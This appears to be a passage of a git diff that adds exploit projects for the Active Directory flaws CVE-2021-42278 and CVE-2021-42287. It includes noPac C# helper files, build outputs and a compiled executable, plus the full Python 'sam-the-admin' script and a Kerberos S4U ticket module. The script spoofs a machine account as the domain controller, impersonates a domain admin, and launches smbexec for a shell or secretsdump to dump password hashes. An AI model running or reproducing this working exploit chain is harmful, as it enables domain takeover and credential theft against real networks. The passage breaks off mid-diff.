boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(bool value) + { + return value; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(sbyte value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(byte value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(short value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(ushort value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(int value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(uint value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(long value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The value + /// True if value != 0. + public static bool ToBool(ulong value) + { + return value != 0; + } + + /// + /// Convert value to a boolean. + /// + /// The nullable value + /// True if value has a value set. + public static bool ToBool(T? value) where T : struct + { + return value.HasValue; + } + + /// + /// Convert value to a boolean. + /// + /// The nullable value + /// True if value has a value set. + public static bool ToBool(T value) where T : class + { + return value != null; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/noPac.csproj b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/noPac.csproj new file mode 100644 index 0000000..14f7214 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/noPac.csproj @@ -0,0 +1,177 @@ + + + + + Debug + AnyCPU + {D03E6124-FD00-414D-90B3-852213257DC2} + Exe + noPac + noPac + v4.6.1 + 512 + true + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + true + false + + + AnyCPU + pdbonly + false + bin\Release\ + TRACE + prompt + 4 + true + false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/noPac.csproj.user b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/noPac.csproj.user new file mode 100644 index 0000000..c10e84b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/noPac.csproj.user @@ -0,0 +1,6 @@ + + + + ProjectFiles + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/.NETFramework,Version=v4.6.1.AssemblyAttributes.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/.NETFramework,Version=v4.6.1.AssemblyAttributes.cs new file mode 100644 index 0000000..3aa5318 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/.NETFramework,Version=v4.6.1.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.1", FrameworkDisplayName = ".NET Framework 4.6.1")] diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.cs new file mode 100644 index 0000000..15efebf --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")] diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..9a6f280 Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/noPac.csproj.AssemblyReference.cache b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/noPac.csproj.AssemblyReference.cache new file mode 100644 index 0000000..f5e8c9e Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Debug/noPac.csproj.AssemblyReference.cache differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/.NETFramework,Version=v4.6.1.AssemblyAttributes.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/.NETFramework,Version=v4.6.1.AssemblyAttributes.cs new file mode 100644 index 0000000..3aa5318 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/.NETFramework,Version=v4.6.1.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.6.1", FrameworkDisplayName = ".NET Framework 4.6.1")] diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.AssemblyReference.cache b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.AssemblyReference.cache new file mode 100644 index 0000000..f5e894a Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.AssemblyReference.cache differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.CoreCompileInputs.cache b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..e92ded0 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +11aec1eee5995a47d19bdd1f57e1b248d530f1c1 diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.FileListAbsolute.txt b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..5a58027 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.csproj.FileListAbsolute.txt @@ -0,0 +1,7 @@ +C:\Users\ascotbe\Desktop\noPac-main\noPac\bin\Release\noPac.exe.config +C:\Users\ascotbe\Desktop\noPac-main\noPac\bin\Release\noPac.exe +C:\Users\ascotbe\Desktop\noPac-main\noPac\bin\Release\noPac.pdb +C:\Users\ascotbe\Desktop\noPac-main\noPac\obj\Release\noPac.csproj.AssemblyReference.cache +C:\Users\ascotbe\Desktop\noPac-main\noPac\obj\Release\noPac.csproj.CoreCompileInputs.cache +C:\Users\ascotbe\Desktop\noPac-main\noPac\obj\Release\noPac.exe +C:\Users\ascotbe\Desktop\noPac-main\noPac\obj\Release\noPac.pdb diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.exe b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.exe new file mode 100644 index 0000000..a8e939d Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.exe differ diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.pdb b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.pdb new file mode 100644 index 0000000..4b1659b Binary files /dev/null and b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/obj/Release/noPac.pdb differ diff --git a/00-CVE_EXP/CVE-2021-42287/sam-the-admin/.gitignore b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/.gitignore new file mode 100644 index 0000000..b6e4761 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/.gitignore @@ -0,0 +1,129 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +pip-wheel-metadata/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ diff --git a/00-CVE_EXP/CVE-2021-42287/sam-the-admin/requirements.txt b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/requirements.txt new file mode 100644 index 0000000..17f2bda --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/requirements.txt @@ -0,0 +1 @@ +impacket==0.9.24 \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py new file mode 100644 index 0000000..2a4ba33 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py @@ -0,0 +1,200 @@ +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials + + +import argparse +import logging +import sys +import string +import random +import ssl +import os +from binascii import unhexlify +import ldapdomaindump +import ldap3 +import time + +from utils.helper import * +from utils.addcomputer import AddComputerSAMR +from utils.S4U2self import GETST + +characters = list(string.ascii_letters + string.digits + "!@#$%^&*()") + + +def samtheadmin(username, password, domain, options): + new_computer_name = f"SAMTHEADMIN-{random.randint(1,100)}$" + new_computer_password = ''.join(random.choice(characters) for _ in range(12)) + + domain, username, password, lmhash, nthash = parse_identity(options) + ldap_server, ldap_session = init_ldap_session(options, domain, username, password, lmhash, nthash) + + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf) + MachineAccountQuota = 10 + for i in domain_dumper.getDomainPolicy(): + MachineAccountQuota = int(str(i['ms-DS-MachineAccountQuota'])) + rootsid = domain_dumper.getRootSid() + dcinfo = get_dc_host(ldap_session, domain_dumper) + if not len(dcinfo['name']): + logging.critical("Cannot get domain info") + exit() + dc_host = dcinfo['name'][0].lower() + dcfull = dcinfo['dNSHostName'][0].lower() + logging.info(f'Selected Target {dcfull}') + domainAdmins = get_domain_admins(ldap_session, domain_dumper) + random_domain_admin = random.choice(domainAdmins) + logging.info(f'Total Domain Admins {len(domainAdmins)}') + logging.info(f'will try to impersonat {random_domain_admin}') + + # udata = get_user_info(username, ldap_session, domain_dumper) + if MachineAccountQuota < 0: + logging.critical(f'Cannot exploit , ms-DS-MachineAccountQuota {MachineAccountQuota}') + exit() + else: + logging.info(f'Current ms-DS-MachineAccountQuota = {MachineAccountQuota}') + + logging.info(f'Adding Computer Account "{new_computer_name}"') + logging.info(f'MachineAccount "{new_computer_name}" password = {new_computer_password}') + + + # Creating Machine Account + addmachineaccount = AddComputerSAMR( + username, + password, + domain, + options, + computer_name=new_computer_name, + computer_pass=new_computer_password) + addmachineaccount.run() + + + # CVE-2021-42278 + new_machine_dn = None + dn = get_user_info(new_computer_name, ldap_session, domain_dumper) + if dn: + new_machine_dn = str(dn['dn']) + logging.info(f'{new_computer_name} object = {new_machine_dn}') + + if new_machine_dn: + ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]}) + if ldap_session.result['result'] == 0: + logging.info(f'{new_computer_name} sAMAccountName == {dc_host}') + else: + logging.error('Cannot rename the machine account , target patched') + exit() + + + # Getting a ticket + getting_tgt = GETTGT(dc_host, new_computer_password, domain, options) + getting_tgt.run() + dcticket = str(dc_host + '.ccache') + + + # Restoring Old Values + logging.info(f"Resting the machine account to {new_computer_name}") + dn = get_user_info(dc_host, ldap_session, domain_dumper) + ldap_session.modify(str(dn['dn']), {'sAMAccountName': [ldap3.MODIFY_REPLACE, [new_computer_name]]}) + if ldap_session.result['result'] == 0: + logging.info(f'Restored {new_computer_name} sAMAccountName to original value') + else: + logging.error('Cannot restore the old name lol') + + + + os.environ["KRB5CCNAME"] = dcticket + executer = GETST(None, None, domain, options, + impersonate_target=random_domain_admin, + target_spn=f"cifs/{dcfull}") + executer.run() + + + adminticket = str(random_domain_admin + '.ccache') + os.environ["KRB5CCNAME"] = adminticket + + # will do something else later on + fbinary = "/usr/bin/impacket-smbexec" + if options.dump: + fbinary = "/usr/bin/impacket-secretsdump" + getashell = f"KRB5CCNAME='{adminticket}' {fbinary} -target-ip {options.dc_ip} -dc-ip {options.dc_ip} -k -no-pass @'{dcfull}' " + os.system(getashell) + + os.system("rm *.ccache") + + +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print((version.BANNER)) + + parser = argparse.ArgumentParser(add_help = True, description = "SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain") + + parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.') + parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-shell', action='store_true', help='Drop a shell via smbexec') + parser.add_argument('-dump', action='store_true', help='Dump Hashs via secretsdump') + + parser.add_argument('-port', type=int, choices=[139, 445, 636], + help='Destination port to connect to. SAMR defaults to 445, LDAPS to 636.') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on account parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. ' + 'Useful if you can\'t translate the FQDN.' + 'specified in the account parameter will be used') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + + + + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.account) + + try: + if domain is None or domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + + samtheadmin(username, password, domain, options) + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + print(str(e)) + diff --git a/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/S4U2self.py b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/S4U2self.py new file mode 100644 index 0000000..50f8f86 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/S4U2self.py @@ -0,0 +1,687 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache +# If the account has constrained delegation (with protocol transition) privileges you will be able to use +# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to +# request the ticket.) +# +# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) +# +# Examples: +# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user +# or +# If you have tickets cached (run klist to verify) the script will use them +# ./getST.py -k -spn cifs/contoso-dc contoso.com/user +# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets +# by default. +# +# Also, if the account is configured with constrained delegation (with protocol transition) you can request +# service tickets for other users, assuming the target SPN is allowed for delegation: +# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user +# +# The output of this script will be a service ticket for the Administrator user. +# +# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. +# +# Author: +# Alberto Solino (@agsolino) +# + +from __future__ import division +from __future__ import print_function +import argparse +import datetime +import logging +import os +import random +import struct +import sys +from binascii import hexlify, unhexlify +from six import b + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.krb5 import constants +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ + Ticket as TicketAsn1, EncTGSRepPart, PA_PAC_OPTIONS, EncTicketPart +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype +from impacket.krb5.constants import TicketFlags, encodeFlags +from impacket.krb5.kerberosv5 import getKerberosTGS +from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive +from impacket.krb5.types import Principal, KerberosTime, Ticket +from impacket.ntlm import compute_nthash +from impacket.winregistry import hexdump + + +class GETST: + def __init__(self, target, password, domain, options, impersonate_target=None,target_spn=None): + self.__password = password + self.__user = target + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__options = options + self.__kdcHost = options.dc_ip + self.impersonate_target = impersonate_target + self.target_spn = target_spn + self.__force_forwardable = False + self.__additional_ticket = None + self.__saveFileName = None + self.__no_s4u2proxy = True + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + + def saveTicket(self, ticket, sessionKey): + logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) + ccache = CCache() + + ccache.fromTGS(ticket, sessionKey, sessionKey) + ccache.saveFile(self.__saveFileName + '.ccache') + + def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): + if not os.path.isfile(additional_ticket_path): + logging.error("Ticket %s doesn't exist" % additional_ticket_path) + exit(0) + else: + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) + ccache = CCache.loadFile(additional_ticket_path) + principal = ccache.credentials[0].header['server'].prettyPrint() + creds = ccache.getCredential(principal.decode()) + TGS = creds.toTGS(principal) + + tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] + + if logging.getLogger().level == logging.DEBUG: + logging.debug('TGS_REP') + print(tgs.prettyPrint()) + + if self.__force_forwardable: + # Convert hashes to binary form, just in case we're receiving strings + if isinstance(nthash, str): + try: + nthash = unhexlify(nthash) + except TypeError: + pass + if isinstance(aesKey, str): + try: + aesKey = unhexlify(aesKey) + except TypeError: + pass + + # Compute NTHash and AESKey if they're not provided in arguments + if self.__password != '' and self.__domain != '' and self.__user != '': + if not nthash: + nthash = compute_nthash(self.__password) + if logging.getLogger().level == logging.DEBUG: + logging.debug('NTHash') + print(hexlify(nthash).decode()) + if not aesKey: + salt = self.__domain.upper() + self.__user + aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents + if logging.getLogger().level == logging.DEBUG: + logging.debug('AESKey') + print(hexlify(aesKey).decode()) + + # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys + cipherText = tgs['ticket']['enc-part']['cipher'] + + # Check which cipher was used to encrypt the ticket. It's not always the same + # This determines which of our keys we should use for decryption/re-encryption + newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] + if newCipher.enctype == Enctype.RC4: + key = Key(newCipher.enctype, nthash) + else: + key = Key(newCipher.enctype, aesKey) + + # Decrypt and decode the ticket + # Key Usage 2 + # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or + # application session key), encrypted with the service key + # (section 5.4.2) + plainText = newCipher.decrypt(key, 2, cipherText) + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + + # Print the flags in the ticket before modification + logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket from S4U2self is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Customize flags the forwardable flag is the only one that really matters + logging.info('\tForcing the service ticket to be forwardable') + # convert to string of bits + flagBits = encTicketPart['flags'].asBinary() + # Set the forwardable flag. Awkward binary string insertion + flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] + # Overwrite the value with the new bits + encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags + + logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) + logging.debug('\tService ticket now is' + + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + + ' forwardable') + + # Re-encode and re-encrypt the ticket + # Again, Key Usage 2 + encodedEncTicketPart = encoder.encode(encTicketPart) + cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) + + # put it back in the TGS + tgs['ticket']['enc-part']['cipher'] = cipherText + + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) + + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # Add resource-based constrained delegation support + paPacOptions = PA_PAC_OPTIONS() + paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) + + tgsReq['padata'][1] = noValue + tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value + tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) + + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + # This specified we're doing S4U + opts.append(constants.KDCOptions.cname_in_addl_tkt.value) + opts.append(constants.KDCOptions.canonicalize.value) + opts.append(constants.KDCOptions.forwardable.value) + opts.append(constants.KDCOptions.renewable.value) + + reqBody['kdc-options'] = constants.encodeFlags(opts) + service2 = Principal(self.target_spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + seq_set(reqBody, 'sname', service2.components_to_asn1) + reqBody['realm'] = self.__domain + + myTicket = ticket.to_asn1(TicketAsn1()) + seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) + + now = datetime.datetime.utcnow() + datetime.timedelta(days=1) + + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) + message = encoder.encode(tgsReq) + + logging.info('\tRequesting S4U2Proxy') + r = sendReceive(message, self.__domain, kdcHost) + + tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] + + cipherText = tgs['enc-part']['cipher'] + + # Key Usage 8 + # TGS-REP encrypted part (includes application session + # key), encrypted with the TGS session key (Section 5.4.2) + plainText = cipher.decrypt(sessionKey, 8, cipherText) + + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + + return r, cipher, sessionKey, newSessionKey + + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT['ticket']) + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) + + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + if logging.getLogger().level == logging.DEBUG: + logging.debug('AUTHENTICATOR') + print(authenticator.prettyPrint()) + print('\n') + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service + # requests a service ticket to itself on behalf of a user. The user is + # identified to the KDC by the user's name and realm. + clientName = Principal(self.impersonate_target, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + + S4UByteArray = struct.pack('= 0: + logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) + if str(e).find('KDC_ERR_BADOPTION') >= 0: + logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) + + return + self.__saveFileName = self.impersonate_target + + self.saveTicket(tgs, oldSessionKey) + diff --git a/00-CVE_EXP/CVE-2021-42287/sam-the-admin/utils/__init__.py 